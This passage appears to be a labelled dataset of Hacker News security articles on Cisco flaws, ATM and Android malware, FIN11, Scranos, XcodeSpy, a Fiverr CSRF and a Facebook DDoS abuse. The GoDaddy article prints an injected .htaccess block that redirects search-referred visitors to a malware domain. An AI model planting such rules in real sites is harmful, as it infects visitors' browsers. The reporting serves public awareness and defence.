""The virus was already identified and the right software was already prepared to neutralize it,"" Steinitz added. ""We'd to paralyze many of the computers of the Israeli Electricity Authority. We are handling the situation and I hope that soon, this very serious event will be over...but as of now, computer systems are still not working as they should.""
Severe Cyber Attack on Israel Electricity Infrastructure

The 'severe' attack occurred earliest this week, as Israel is currently undergoing record-breaking electricity consumption for last two days with a demand of 12,610 Megawatts due to the freezing temperature, confirmed by Israel Electric Corporation.

However, the officials did not comment upon the perpetrators as they do not suspect any currently, but they did tell Israeli newspaper Haaretz that '[they] are going to solve this problem in the coming hours.'

In Mid-July 2015, the Israel's National Cyber Bureau had already warned about the computer-based hacking attacks, which shut down portions of the country's electricity grid.

The identity of the suspects behind this attack has not been known, neither the energy ministry provides any details about how the attack was carried out.

However, a spokesperson for Israel's Electricity Authority confirmed some of its computer systems had been shut down for two days due to the cyber attack.

Previous Known Cyber Attacks on SCADA Systems

Israel had been the continual victim for many of the cyber attacks previously like OpIsrael (a coordinated attack by anti-Israeli Groups & Palestinians), which was conducted on 7th April 2013, on the eve of Holocaust Remembrance Day with the goal of ""Erase Israel from Internet.""

Another attack on the Israeli Civilian communication was carried out by Iran & Hezbollah Group last year.

In response to these attacks, Israel had broadened their skills to combat cyber war and become a center for cybersecurity, R&D Labs with multinationals from the US, Europe, and Asia. Israeli Cyber Security firms claimed to export $3 Billion last year.

A similar incident of power outbreak took place a couple of months back in Ukraine on 23rd December, when the country's SCADA system was hit with a trojan named BlackEnergy that resulted in the total power cut across the region named Ivano-Frankivsk of Ukraine.

This Article has been written by our editorial intern. Special Thanks to Rakesh Krishnan for covering this article.

",Cyber_Attack
Critical flaw leaves thousands of Cisco Switches vulnerable to remote hacking,https://thehackernews.com/2018/04/cisco-switches-hacking.html,"Security researchers at Embedi have disclosed a critical vulnerability in Cisco IOS Software and Cisco IOS XE Software that could allow an unauthenticated, remote attacker to execute arbitrary code, take full control over the vulnerable network equipment and intercept traffic.

The stack-based buffer overflow vulnerability (CVE-2018-0171) resides due to improper validation of packet data in Smart Install Client, a plug-and-play configuration and image-management feature that helps administrators to deploy (client) network switches easily.

Embedi has published technical details and Proof-of-Concept (PoC) code after Cisco today released patch updates to address this remote code execution vulnerability, which has been given a base Common Vulnerability Scoring System (CVSS) score of 9.8 (critical).

Researchers found a total of 8.5 million devices with the vulnerable port open on the Internet, leaving approximately 250,000 unpatched devices open to hackers.

To exploit this vulnerability, an attacker needs to send a crafted Smart Install message to an affected device on TCP port 4786, which is opened by default.
""To be more precise, the buffer overflow takes place in the function smi_ibc_handle_ibd_init_discovery_msg"" and ""because the size of the data copied to a fixed-size buffer is not checked, the size and data are taken directly from the network packet and are controlled by an attacker,"" Cisco explain in its advisory.
The vulnerability can also result in a denial-of-service condition (watchdog crash) by triggering indefinite loop on the affected devices.

Researchers demonstrated the vulnerability at a conference in Hong Kong after reporting it to Cisco in May 2017.

Video Demonstrations of the Attack:

In their first demonstration, as shown in the video below, researchers targeted Cisco Catalyst 2960 switch to reset/change the password and entered privileged EXEC mode:
In their second demo, researchers exploited the flaw to successfully intercept the traffic between other devices connected to the vulnerable switch and the Internet.
Affected Hardware and Software:

The vulnerability was tested on Catalyst 4500 Supervisor Engines, Cisco Catalyst 3850 Series Switches, and Cisco Catalyst 2960 Series Switches devices, as well as all devices that fall into the Smart Install Client type are potentially vulnerable, including:

Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs

Cisco fixed the vulnerability in all of its affected products on 28th March 2018, and Embedi published a blog post detailing the vulnerability on 29th March. So, administrators are highly recommended to install free software updates to address the issue as soon as possible.

",Vulnerability
Hackers stole money from European ATMs using Malware-loaded USB Device,https://thehackernews.com/2014/01/hacking-ATM-machine-Malware-USB-Drive.html,"Hacking ATM Machines is nothing new, but it seems that instead of relying on ATM skimmers now some smart hackers in Europe are reportedly targeting ATM Machines using Malware-loaded USB drives to steal money.
Most of the world's ATMs are running on Windows XP operating system, which is highly vulnerable to Malware attacks. Just like your Desktop Laptops, some ATMs also have USB sockets, which is hidden behind the ATM's fascia.

The German security researchers who discovered the hack detailed their findings at the Chaos Computing Congress in Hamburg, Germany recently. They said that the thieves cut holes in the fascia to access a USB port and then uploaded malware to the machines.
The malware creates a backdoor that can be accessed on the front panel. ""These researchers explained that the malware allowed the thieves to create a unique interface on the ATMs by typing in a 12-digit code. This interface allowed for withdrawal and also showed the criminals the amount of money and each bill denomination inside the machines. This meant the thieves could save time by only taking the highest value bills."" Dara Kerr from CNET news reported.
Once the thieves finished their theft at a cash machine, they would patch up the hole to allow the same exploit to be used on other machines. This indicates that the criminal crew is highly familiar with the ATMs mechanism.

The malware does not appear to harvest customer PINs or other sensitive data and now some banks have upgraded their ATMs to prevent them from booting from external USB drives.

",Malware
Pre-Installed Malware Dropper Found On German Gigaset Android Phones,https://thehackernews.com/2021/04/pre-installed-malware-dropper-found-on.html,"In what appears to be a fresh twist in Android malware, users of Gigaset mobile devices are encountering unwanted apps that are being downloaded and installed through a pre-installed system update app.
""The culprit installing these malware apps is the Update app, package name com.redstone.ota.ui, which is a pre-installed system app,"" Malwarebytes researcher Nathan Collier said. ""This app is not only the mobile device's system updater, but also an auto installer known as Android/PUP.Riskware.Autoins.Redstone.""
The development was first reported by German author and blogger Günter Born last week.
While the issue seems to be mainly affecting Gigaset phones, devices from a handful of other manufacturers appear to be impacted as well. The full list of devices that come with the pre-installed auto-installer includes Gigaset GS270, Gigaset GS160, Siemens GS270, Siemens GS160, Alps P40pro, and Alps S20pro+.
According to Malwarebytes, the Update app installs three different versions of a trojan (""Trojan.Downloader.Agent.WAGD"") that's capable of sending SMS and WhatsApp messages, redirecting users to malicious game websites, and downloading additional malware-laced apps.
""The malicious WhatsApp messages are most likely in order to further spread the infection to other mobile devices,"" Collier noted.
Users have also reported experiencing a second separate strain of malware called ""Trojan.SMS.Agent.YHN4"" on their mobile devices after landing on gaming websites redirected by the aforementioned WAGD trojan, which mirrors the latter's SMS and WhatsApp messaging functionality to propagate the malware.
Unlike third-party apps downloaded from the Google Play Store, system apps cannot be easily removed from mobile devices without resorting to tools like Android Debug Bridge (ADB).
For its part, Gigaset confirmed the malware attack, stating that an update server used by the devices to fetch software updates was compromised and that only devices that relied on that specific update server were affected. The company has since fixed the issue and is expected to push an update to remove the malware from infected phones, according to Born.
The development comes a week after cybersecurity researchers revealed a new Android malware that was found to pilfer users' photos, videos, and GPS locations by sending a fraudulent notification posing as a ""System Update"" that is ""Searching for update.""
When reached for a response, Gigaset said it's investigating the software supply chain incident, adding ""we are working closely with IT forensic experts and the relevant authorities. We will inform the affected users as quickly as possible and provide information on how to resolve the problem.""
""It is also important to mention at this point that, according to current knowledge, the incident only affects older devices. We currently assume that the devices GS110, GS185, GS190, GS195, GS195LS, GS280, GS290, GX290, GX290plus, GX290 PRO, GS3 and GS4 are not affected,"" it noted.

",Malware
FIN11 Hackers Spotted Using New Techniques In Ransomware Attacks,https://thehackernews.com/2020/10/fin11-hackers-spotted-using-new.html,"A financially-motivated threat actor known for its malware distribution campaigns has evolved its tactics to focus on ransomware and extortion.
According to FireEye's Mandiant threat intelligence team, the collective — known as FIN11 — has engaged in a pattern of cybercrime campaigns at least since 2016 that involves monetizing their access to organizations' networks, in addition to deploying point-of-sale (POS) malware targeting financial, retail, restaurant, and pharmaceutical sectors.
""Recent FIN11 intrusions have most commonly led to data theft, extortion and the disruption of victim networks via the distribution of CLOP ransomware,"" Mandiant said.
Although FIN11's activities in the past have been tied to malware such as FlawedAmmyy, FRIENDSPEAK, and MIXLABEL, Mandiant notes significant overlap in TTPs with another threat group that cybersecurity researchers call TA505, which is behind the infamous Dridex banking Trojan and Locky ransomware that's delivered through malspam campaigns via the Necurs botnet.
It's worth pointing that Microsoft orchestrated the takedown of the Necurs botnet earlier this March in an attempt to prevent the operators from registering new domains to execute further attacks in the future.
High-Volume Malspam Campaigns
FIN11, in addition to leveraging a high-volume malicious email distribution mechanism, has expanded its targeting to native language lures coupled with manipulated email sender information, such as spoofed email display names and email sender addresses, to make the messages appear more legitimate, with a strong bent towards attacking German organizations in their 2020 campaigns.
For instance, the adversary triggered an email campaign with email subjects such as ""research report N-[five-digit number]"" and ""laboratory accident"" in January 2020, followed by a second wave in March using phishing emails with the subject line ""[pharmaceutical company name] 2020 YTD billing spreadsheet.""
""FIN11's high-volume email distribution campaigns have continually evolved throughout the group's history,"" Andy Moore, senior technical analyst at Mandiant Threat Intelligence, told The Hacker News via email.
""Although we have not independently verified the connection, there is substantial public reporting to suggest that until sometime in 2018, FIN11 relied heavily on the Necurs botnet for malware distribution. Notably, observed downtime of the Necurs botnet has directly corresponded to lulls in the activity we attribute to FIN11.""
Indeed, as per Mandiant's research, FIN11's operations appear to have ceased entirely from mid-March 2020 through late May 2020, before picking up again in June via phishing emails containing malicious HTML attachments to deliver malicious Microsoft Office files.
The Office files, in turn, made use of macros to fetch the MINEDOOR dropper and the FRIENDSPEAK downloader, which then dispatched the MIXLABEL backdoor on the infected device.
A Shift to Hybrid Extortion
In recent months, however, FIN11's monetization efforts have resulted in a number of organizations infected by CLOP ransomware, in addition to resorting to hybrid extortion attacks — combining ransomware with data theft — in a bid to force businesses into acquiescing to extortion payments that range from a few hundred thousand dollars up to 10 million dollars.
""FIN11's monetization of intrusions via ransomware and extortion follows a broader trend among financially motivated actors,"" Moore said.
""Monetization strategies that have been more common historically, such as the deployment of point-of-sale malware, limit criminals to targeting victims in certain industries, whereas ransomware distribution can allow actors to profit from an intrusion into the network of nearly any organization.
That flexibility, in combination with increasingly frequent reports of ballooning ransom payments, makes it an extremely attractive scheme for financially motivated actors,"" he added.
What's more, FIN11 is purported to have made use of a wide variety of tools (e.g., FORKBEARD, SPOONBEARD, and MINEDOOR) purchased from underground forums, thereby making attribution difficult or accidentally conflating activities of two disparate groups based on similar TTPs or indicators of compromise.
An Actor of Likely CIS Origin
As for the roots of FIN11, Mandiant stated with ""moderate confidence"" that the group operates out of the Commonwealth of Independent States (CIS) owing to the presence of Russian-language file metadata, avoidance of CLOP deployments in CIS countries, and the dramatic fall in activity coinciding the Russian New Year and Orthodox Christmas holiday period between January 1-8.
""Barring some sort of disruption to their operations, it is highly likely that FIN11 will continue to attack organizations with an aim to deploy ransomware and steal data to be used for extortion,"" Moore said.
""As the group has regularly updated their TTPs to evade detections and increase the effectiveness of their campaigns, it is also likely that these incremental changes will continue. Despite these changes, however, recent FIN11 campaigns have consistently relied on the use of macros embedded in malicious Office documents to deliver their payloads.""
""Along with other security best practices, organizations can minimize the risk of being compromised by FIN11 by training users to identify phishing emails, disabling Office macros, and implementing detections for the FRIENDSPEAK downloader.""

",Malware
GoDaddy websites Compromised with Malware,https://thehackernews.com/2011/09/godaddy-websites-compromised-with.html,"GoDaddy websites Compromised with Malware
Many sites hosted on GoDaddy shared servers getting compromised today with a conditional redirection to sokoloperkovuskeci.com.In all 445 cases the .htaccess file (a main Apache web server configuration file) was modified to redirect users to a malware site when they were referred by one of a list of search engines. These redirections attacks are very common on outdated WordPress and Joomla sites, but this time (and for this specific malicious domain), we are only seeing them on GoDaddy hosted sites. So it looks like a compromise on their own servers (similar to what has happened in the past).

This is caused by this entry that is added to the .htaccess file of the compromised sites:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* https://sokoloperkovuskeci.com/in.php?g=916 [R,L]

The malware checks if anyone visiting the infected site is coming from a Google search (or Yahoo, or Bing) and if they are, redirects them to that domain (sokoloperkovuskeci.com). In there, the user gets redirected again to other locations to get their browsers infected too. So you have to fix your site asap to protect your own users. GoDaddy says they are working with customers to resolve the issue, but if you have a GoDaddy account you should check on this, minimally by Googling for your site and following the link (only if your browser is all patched up and you have sufficient other protections).DomainNameWire also smartly recommends that you check with Google, other search engines and security companies to make sure you haven't been blacklisted.

",Malware
This 20-year-old Student Has Written 100 Malware Programs in Two Years,https://thehackernews.com/2015/07/student-hacker.html,"Security firm Trend Micro has identified a 20-year-old Brazilian college student responsible for developing and distributing over 100 Banking Trojans selling each for around US$300.

Known online as 'Lordfenix', 'Hacker's Son' and 'Filho de Hacker', the computer science student first began his career by posting in forums, asking for programming help for a Trojan he was developing, researchers said.

Developed More than 100 Trojans

However, Lordfenix has ""grown quite confident in his skills"" and began developing and distributing malware tailored to pilfer financial information since at least 2013.
""Based on our research, Lordfenix has created more than 100 different banking Trojans, not including his other malicious tools, since April 2013,"" Trend Micro says. ""With each Trojan costing around R$1,000 (roughly $320), this young cybercriminal channeled his talent in programming into a lucrative, illegal venture.""
Trend Micro has also provided an image of the hacker's Facebook wall post (given below) in which the hacker shows a considerable amount of local currency.

Hacker is Offering Free Versions of Banking Trojans

In order to expand his operation, Lordfenix has now begun offering free versions of fully-functional Banking Trojan source code other wanna-be cyber criminals on the underground forum.

The free versions of the Trojan can be used to steal login details from customers of four different Brazilian banking websites including HSBC Brazil, Bank of Brazil, and Caixa. For access to other financial institutions, 'clients' have to pay for a more powerful tool, TSPY_BANKER.NJH.

TSPY_BANKER.NJH is a Trojan capable to identify when a user enters any of a target bank's URLs into their browser. The malware then shuts down the browser window (if it is running on Google Chrome), displays an error message, and then opens a fake Chrome window.

Once the victim enters the login details into the fake window, the information is sent back to the attackers address via email.

As an extra precaution, Lordfenix's malware also includes a software program to terminate a security process called GbpSV.exe, which is used by large number of Brazilian banks in an effort to keep their online customer data secure.

Malware Threat to Online Banking is Growing rapidly and countries like Brazil, where almost half of all financial transactions are conducted online, have come up as a boon for hackers.

",Malware
Hacking Fiverr.com Accounts — Vulnerability Puts $50 Million Company At Risk,https://thehackernews.com/2014/08/hacking-fiverrcom-accounts_16.html,"Fiverr.com, a global online marketplace which provides a platform for people to sell their services for five dollars per job, is vulnerable to a critical web application vulnerability that puts its millions of users at risk.

Fiverr recently raised $30 million in a third round of institutional funding to continue supporting the new version of its marketplace, but the company ignored the advance warning of the critical bug reported responsibly by a vulnerability hunter and fails to patch up their website before his public release.

There are endless numbers of people providing services on Fiverr website, such as graphic design, language translation, illustration, blogging and a lot more that start from just $5 but can go much higher, depending on complexity, seller rating, and type of work.

According to a security researcher Mohamed Abdelbaset, an Information Security Evangelist from Egypt, told The Hacker News that Fiverr website is vulnerable to CSRF (Cross-site request forgery) vulnerability that allows him to compromise any user account easily.

Cross-Site Request Forgery (CSRF) is a method of attacking a Web site in which an intruder masquerades as a legitimate and trusted user. All the attacker need to do is get the target browser to make a request to your website on their behalf. If they can either:
Convince your users to click on a HTML page they've constructed
Insert arbitrary HTML in a target website that your users visit
Not too difficult, is it?

In this case, an attacker only needs to know the Fiverr profile link of the victim in order to exploit the vulnerability. Using which the attacker will craft and host a exploit webpage on his own server, Mohamed said while demonstrating the vulnerability to THN.

If the victim has already logged into his Fiverr account on the same browser, the CSRF vulnerability will silently replace the victim's Fiverr account email with the attacker's email address. Once done, the attacker can take over the victim's account just by changing the account password from ""Password reset"" option from the website.

The researcher has also provided a video demonstration as a Proof of Concept. The vulnerability is critical and should be fixed as soon as possible.

",Vulnerability
Scranos: New Rapidly Evolving Rootkit-Enabled Spyware Discovered,https://thehackernews.com/2019/04/scranos-rootkit-spyware.html,"A new powerful rootkit-enabled spyware operation has been discovered wherein hackers are distributing multifunctional malware disguised as cracked software or trojanized app posing as legitimate software like video players, drivers and even anti-virus products.

While the rootkit malware—dubbed Scranos—which was first discovered late last year, still appears to be a work in progress, it is continuously evolving, testing new components and regularly making an improvement to old components, which makes it a significant threat.

Scranos features a modular design that has already gained capabilities to steal login credentials and payment accounts from various popular services, exfiltrate browsing history and cookies, get YouTube subscribers, display ads, as well as download and execute any payload.

According to a 48 page in-depth report Bitdefender shared with The Hacker News prior to its release, the malware gains persistence on infected machines by installing a digitally-signed rootkit driver.

Researchers believe attackers obtained the valid digital code-signing certificate fraudulently, which was originally issued to Yun Yu Health Management Consulting (Shanghai) Co., Ltd. and has not been revoked at the time of writing.

""The rootkit registers a Shutdown callback to achieve persistence. At shutdown, the driver is written to disk, and a start-up service key is created in the Registry,"" the researchers say.

Upon infection, the rootkit malware injects a downloader into a legitimate process which then communicates with the attacker-controlled Command-and-Control (C&C) server and downloads one or more payloads.

Here we have listed a few data and password-stealing payloads:

Password and Browsing History Stealing Payload — The main dropper steals browser cookies and login credentials from Google Chrome, Chromium, Mozilla Firefox, Opera, Microsoft Edge, Internet Explorer, Baidu Browser and Yandex. It can also steal cookies and login info from victims' accounts on Facebook, YouTube, Amazon, and Airbnb.

Extension Installer Payload — This payload installs adware extensions in Chrome and injects malicious or malware-laden ads on all webpages users visit. A few samples also found installing fake browser extensions, such as Chrome Filter, Fierce-tips and PDF Maker.

Steam Data Stealer Payload — This component steals and sends victims' Steam account credentials and information, including the list of installed apps and games, as well as hardcoded version, to the attacker's server.

Malware Interacts with Facebook and YouTube on Victims' Behalf

Some other payloads can even interact with various websites on the victim's behalf, such as:

YouTube subscriber payload — This payload manipulates YouTube pages by running Chrome in debugging mode, instructing the browser to take various actions on a webpage like starting a video, muting a video, subscribing to a channel, and clicking ads.
Facebook Spammer Payload — Using collected cookies and other tokens, attackers can command malware to send Facebook friend requests to other users. It can also send private messages to the victim's Facebook friends with links to malicious Android APKs.

Android Adware App — Disguised as the legitimate ""Accurate scanning of QR code"" app available on Google Play Store, the malware app aggressively displays ads, tracks infected victims and uses same C&C server as the Windows malware.

Scranos Steals Payment Information from Popular Websites

Here's the list of DLLs contained in the main dropper:

Facebook DLL — This DLL extracts information about the user Facebook accounts including their payment accounts, their list of friends, and if they are an administrator of a page.

Amazon DLL — This DLL extracts information from the user's Amazon account. Researchers even found a version of this DLL that has been designed to extract information from logged-in Airbnb accounts.

According to the telemetry gathered by Bitdefender researchers, Scranos is targeting users worldwide, but ""it seems more prevalent in India, Romania, Brazil, France, Italy, and Indonesia.""

The oldest sample of this malware traced back to November 2018, with a massive spike in December and January, but in March 2019, Scranos was started pushing other strains of malware, which researchers say is ""a clear indicator that the network is now affiliated with third parties in pay-per install schemes.""

",Cyber_Attack
Hackers Infecting Apple App Developers With Trojanized Xcode Projects,https://thehackernews.com/2021/03/hackers-infecting-apple-app-developers.html,"Cybersecurity researchers on Thursday disclosed a new attack wherein threat actors are leveraging Xcode as an attack vector to compromise Apple platform developers with a backdoor, adding to a growing trend that involves targeting developers and researchers with malicious attacks.
Dubbed ""XcodeSpy,"" the trojanized Xcode project is a tainted version of a legitimate, open-source project available on GitHub called TabBarInteraction that's used by developers to animate iOS tab bars based on user interaction.
""XcodeSpy is a malicious Xcode project that installs a custom variant of the EggShell backdoor on the developer's macOS computer along with a persistence mechanism,"" SentinelOne researchers said.
Xcode is Apple's integrated development environment (IDE) for macOS, used to develop software for macOS, iOS, iPadOS, watchOS, and tvOS.
Earlier this year, Google's Threat Analysis group uncovered a North Korean campaign aimed at security researchers and exploit developers, which entailed the sharing of a Visual Studio project designed to load a malicious DLL on Windows systems.
The doctored Xcode project does something similar, only this time the attacks have singled out Apple developers.
Besides including the original code, XcodeSpy also contains an obfuscated Run Script that's executed when the developer's build target is launched. The script then contacts an attacker-controlled server to retrieve a custom variant of the EggShell backdoor on the development machine, which comes with capabilities to record information from the victim's microphone, camera, and keyboard.
""XcodeSpy takes advantage of a built-in feature of Apple's IDE which allows developers to run a custom shell script on launching an instance of their target application,"" the researchers said. ""While the technique is easy to identify if looked for, new or inexperienced developers who are not aware of the Run Script feature are particularly at risk since there is no indication in the console or debugger to indicate execution of the malicious script.""
SentinelOne said it identified two variants of the EggShell payload, with the samples uploaded to VirusTotal from Japan on August 5 and October 13 last year. Additional clues point to one unnamed U.S. organization that's said to have been targeted using this campaign between July and October 2020, with other developers in Asia likely to be targeted as well.
Adversaries have previously resorted to tainted Xcode executables (aka XCodeGhost) to inject malicious code into iOS apps compiled with the infected Xcode without the developers' knowledge, and subsequently use the infected apps to collect information from the devices once they are downloaded and installed from the App Store.
Then in August 2020, researchers from Trend Micro unearth a similar threat that spread via modified Xcode projects, which, upon building, were configured to install a mac malware called XCSSET to steal credentials, capture screenshots, sensitive data from messaging and note taking apps, and even encrypt files for a ransom.
Like XCSSET, XcodeSpy takes an easier route, since the goal appears to be to strike the developers themselves, although the ultimate objective behind the exploitation and the identity of the group behind it remains unclear as yet.
""Targeting software developers is the first step in a successful supply chain attack. One way to do so is to abuse the very development tools necessary to carry out this work,"" the researchers said.
""It is entirely possible that XcodeSpy may have been targeted at a particular developer or group of developers, but there are other potential scenarios with such high-value victims. Attackers could simply be trawling for interesting targets and gathering data for future campaigns, or they could be attempting to gather AppleID credentials for use in other campaigns that use malware with valid Apple Developer code signatures.""

",Malware
"5 High Impact Flaws Affect Cisco Routers, Switches, IP Phones and Cameras",https://thehackernews.com/2020/02/cisco-cdp-vulnerabilities.html,"Several Cisco-manufactured network equipments have been found vulnerable to five new security vulnerabilities that could allow hackers to take complete control over them, and subsequently, over the enterprise networks they power.

Four of the five high-severity bugs are remote code execution issues affecting Cisco routers, switches, and IP cameras, whereas the fifth vulnerability is a denial-of-service issue affecting Cisco IP phones.

Collectively dubbed 'CDPwn,' the reported vulnerabilities reside in the various implementations of the Cisco Discovery Protocol (CDP) that comes enabled by default on virtually all Cisco devices and can not be turned OFF.

Cisco Discovery Protocol (CDP) is an administrative protocol that works at Layer 2 of the Internet Protocol (IP) stack. The protocol has been designed to let devices discover information about other locally attached Cisco equipment in the same network.

According to a report Armis research team shared with The Hacker News, the underlying CDP implementations contain buffer overflow and format string vulnerabilities that could let remote attackers on the same network execute arbitrary code on the vulnerable devices by sending malicious unauthenticated CDP packets.

The list of CDPwn Cisco vulnerabilities affecting tens of millions of devices widely deployed in enterprise networks is as follow:

Cisco NX-OS Stack Overflow in the Power Request TLV (CVE-2020-3119)
Cisco IOS XR Format String vulnerability in multiple TLVs (CVE-2020-3118)
Cisco IP Phones Stack Overflow in PortID TLV (CVE-2020-3111)
Cisco IP Cameras Heap Overflow in DeviceID TLV (CVE-2020-3110)
Cisco FXOS, IOS XR, and NX-OS Resource Exhaustion in the Addresses TLV (CVE-2020-3120)

To be noted, since CDP is a Data Link layer 2 protocol that can't cross the boundaries of a local area network, an attacker first needs to be on the same network to leverage CDPwn vulnerabilities.



However, after gaining an initial foothold in a targeted network using separate vulnerabilities, attackers can exploit CDPwn against network switches to break network segmentation and move laterally across the corporate networks to other sensitive systems and data.

""Gaining control over the switch is useful in other ways. For example, the switch is in a prime position to eavesdrop on network traffic that traverses through the switch, and it can even be used to launch man-in-the-middle attacks on the traffic of devices that traverses through the switch,"" the researchers said.

""An attacker can look to move laterally across segments and gain access to valuable devices like IP phones or cameras. Unlike switches, these devices hold sensitive data directly, and the reason to take them over can be a goal of an attacker, and not merely a way to break out of segmentation.""

Additionally, CDPwn flaws also allow attackers to:

Eavesdrop on voice and video data/calls and video feed from IP phones and cameras, capture sensitive conversations or images.
Exfiltrate sensitive corporate data flowing through the corporate network's switches and routers.
Compromise additional devices by leveraging man-in-the-middle attacks to intercept and alter traffic on the corporate switch.

Besides releasing a detailed technical report on the issues, the Armis research team has also shared videos of explanation and demonstration of the flaws, as embedded above.


After closely working with Armis researchers over the last few months to develop security patches, Cisco today released software updates for all of its affected products.

Though Cisco has also provided some mitigation information, affected administrators are still highly recommended to install the latest software updates to completely protect their valuable networks against malware and emerging online threats.
",Vulnerability
Using LabVIEW? Unpatched Flaw Allows Hackers to Hijack Your Computer,https://thehackernews.com/2017/08/hacking-labview-vi-file.html,"If you're an engineer and use LabVIEW software to design machines or industrial equipments, you should be very suspicious while opening any VI (virtual instrument) file.

LabVIEW, developed by American company National Instruments, is a visual programming language and powerful system-design tool that is being used worldwide in hundreds of fields and provides engineers with a simple environment to build measurement or control systems

Security researchers from Cisco's Talos Security Intelligence have discovered a critical vulnerability in LabVIEW software that could allow attackers to execute malicious code on a target computer, giving them full control of the system.

Identified as CVE-2017-2779, the code execution vulnerability could be triggered by opening a specially crafted VI file, a proprietary file format used by LabVIEW.

The vulnerability originates because of memory corruption issue in the RSRC segment parsing functionality of LabVIEW.

Modulating the values within the RSRC segment of a VI file causes a controlled looping condition, which results in an arbitrary null write.
""A specially crafted LabVIEW virtual instrument file (with the *.vi extension) can cause an attacker controlled looping condition resulting in an arbitrary null write,"" Talos researchers explain.
""An attacker controlled VI file can be used to trigger this vulnerability and can potentially result in code execution.""
Talos researchers have successfully tested the vulnerability on LabVIEW 2016 version 16.0, but National Instruments has refused to consider this issue as a vulnerability in their product and had no plans to release any patch to address the flaw.

However, the issue should not be ignored, because the threat vector is almost similar to many previously disclosed Microsoft Office vulnerabilities, in which victims got compromised after opening malicious MS Word file received via an email or downloaded from the Internet.
""The consequences of a successful compromise of a system that interacts with the physical world, such as a data acquisition and control systems, may be critical to safety,"" the researchers write.
""Organisations that deploy such systems, even as pilot projects, should be aware of the risk posed by vulnerabilities such as these and adequately protect systems.""
Since there is no patch available, the LabVIEW users are left with only one option—be very careful while opening any VI file you receive via an email.

For more technical details about the vulnerability, you can head on to Cisco Talos' advisory.

",Malware
Vulnerability Allows Anyone to DDoS Websites Using Facebook Servers,https://thehackernews.com/2014/04/vulnerability-allows-anyone-to-ddos.html,"Reading a 'Note' created by anyone on the Facebook could trick you automatically to do malicious attacks against others unknowingly.

A Security researcher Chaman Thapa, also known as chr13 claims that the flaw resides in 'Notes' section of the most popular social networking site - Facebook, that could allow anyone to launch the distributed denial-of-service (DDoS) attack of more than 800 Mbps Bandwidth on any website.

A Distributed Denial-of-Service (DDoS) attack is one in which multiple compromised systems attacks a single target system or service to make it unavailable to its intended users. The flood of incoming requests essentially forces the target system or service to shut down, thereby denying service to the system to its legitimate users.

While demonstrating the vulnerability on his blog, he explained that Facebook allows its users to include
tags inside the post in order to draft a note with beautiful related images from any source.

Facebook basically downloads external images from the original source for the first time only, and then cache them, but if the image url have dynamic parameters, then Facebook cache mechanism could be bypassed to force the Facebook servers to download all included images each time whenever anybodys open the note in its browser.

'Facebook will only cache the image once however using random get parameters the cache can be by-passed and the feature can be abused to cause a huge HTTP GET flood.' he said.

DDoS FACTOR, A SCENARIO
Let's suppose if you want to DDoS a website target.com, that have an image of 1 MB Size on its server. An attacker can create a Facebook Note with some text, including same image multiple times with dynamic parameters, i.e.
This way one can force Facebook servers to load 1 mb of file 1000 times in one pageview and if 100 Facebook users are reading the same crafted note at the same time, then Facebook servers will be forced to download 1 x 1000 x 100 = 100,000 Mb or 97.65Gb bandwidth within few seconds from the targeted servers.

400 MBPS DDoS ATTACK DEMO
Researcher demonstrated the proof-of-concept with 400 Mbps attack, by attacking on his own web server. Stats shown below:
The factor and danger of DDoS attack could be even higher when the image is replaced by a pdf or video of larger size, in case Facebook would crawl a huge file but the user gets nothing.

Facebook allows a user to create maximum of 100 Notes in a short span of time and each Note could support more than 1000 links, but because there is no captcha for the Facebook Notes creation, so all this operation can be performed automatically and an attacker could easily creates hundreds of notes using multiple users at the time of performing attack.

""It seems there is no restriction put on Facebook servers and with so many servers crawling at once we can only imagine how high this traffic can get"" he concluded.

STILL UNPATCHED AND DON'T EXPECT ANY PATCH FROM FACEBOOK
Unfortunately, Facebook has no plans to fix this critical vulnerability, ""In the end, the conclusion is that there's no real way to us fix this that would stop attacks against small consumer grade sites without also significantly degrading the overall functionality,"" Facebook replied to the researcher.

Similar kind of attack was noticed in mid of 2011 year when a security penetration tester at Italian security firm AIR Sicurezza Informatica discovered flaws in Google's Plus servers that allowed hackers to exploit the search giant's bandwidth and launch a distributed denial-of-service (DDoS) attack on a server of their choice.

",Vulnerability
Dutch Police arrested TorRAT Malware Gang for stealing over Million Dollar,https://thehackernews.com/2013/10/dutch-police-arrested-torrat-malware.html,"The TorRAT malware was first appeared in 2012 as spying tool only. But from August 2012, Bitcoin Mining feature was added and it became a powerful hacking tool that was commonly associated with attacks on Financial institutions.

ab
This year TorRat Malware targeted two out of three major Banks in the Netherlands and the criminals stole over Million Dollars from user' Banking Accounts.

The Dutch police has arrested four men from Alkmaar, Haarlem, Woubrugge and Roden on last Monday, who are suspected of involvement in the large scale digital fraud and money laundering case using TorRat Malware.
Using Spear Phishing techniques, gang targeted the victims to access their computers and the Financial accounts. The gang used anonymous VPN services, Bitcoins, TorMail and the Tor network itself to remain anonymous.

Malware is also capable of manipulating the information during online banking, can secretly add new payment orders and also able to modify existing orders.

To defend the detection from Antivirus softwares, TorRat uses the ZeuS malware in its attack. The technique was used to divert the focus of researchers to remove ZeuS infection, rather than the unknown malware on the system.

Some of the stolen money was converted by criminals to (56 BTC worth around 7700 Euros) Bitcoin virtual currency, which are now seized by Dutch police. Police also mentioned that, one of arrested criminal having his own Bitcoin exchange service.

The TorRAT malware has been known to be distributed in multiple ways. In April, TorRat was in news for hijacking twitter accounts. After infecting a vulnerable computers, the TorRAT malware hijacks the Twitter user's account and share links that lead to attack websites that attempt to inject TorRAT malware into the victim's computer.

